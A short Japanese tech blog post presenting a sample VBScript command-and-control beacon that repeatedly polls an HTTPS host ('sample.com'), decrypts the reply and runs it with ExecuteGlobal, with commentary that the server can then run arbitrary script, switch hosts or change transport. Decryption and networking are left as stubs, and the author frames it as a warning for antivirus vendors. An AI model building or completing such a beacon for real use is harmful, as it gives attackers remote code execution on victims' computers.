nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

vbscriptで自由奔放に振る舞えた件

サンプルでだいたい終わり

まずはこのサンプルvbscriptを見てほしい。これをどう思うだろうか。

Function decrypt(bytes)
  ' base64 decode/AES decrypt...etc
  decrypt = string
End Function

Function HttpsPolling()
  ' Https polling and recieve encrypted vb script
  url = "https://" & c2Server & path & query
  EncryptedResponse = xmlhttprequest(url)
  HttpsPolling = EncryptedResponse
End Function

Function GoGo()
  plaincode = decrypt(response)
  ExecuteGlobal plaincode
End Function

c2Server = "sample.com"
path = "/index.html"
query = "?_=" & timestamp
sleeptime = 10 * 1000
Do
  response = HttpsPolling
  If not(response = "") then
    Call GoGo
  End If
  Wscript.Sleep(sleeptime)
Loop

すごく...ぁゃしぃです。

それはそれとしてplaincodeにたとえばc2Server = "sample1.co.jp"なんて入ってきたらどうなるだろう。

そう、sample1.co.jpに通信先が変わる。
さらに以下のようなコードがplaincodeに入ってきたら

Function test()
  MsgBox "Hello, world"
End Function
test

もちろん端末上でメッセージボックスが出る。つまり任意のvbscriptをサーバ側で指定、かつ実行可能ということ(グループポリシーとかアンチウイルスソフトに止められなければ
response = DnsPollingとか入ってきたら通信方法も変わるよ!やったねたえちゃん!

結論

vbscript、ヤバイ(アンチウイルスソフトには是非捕まえてほしい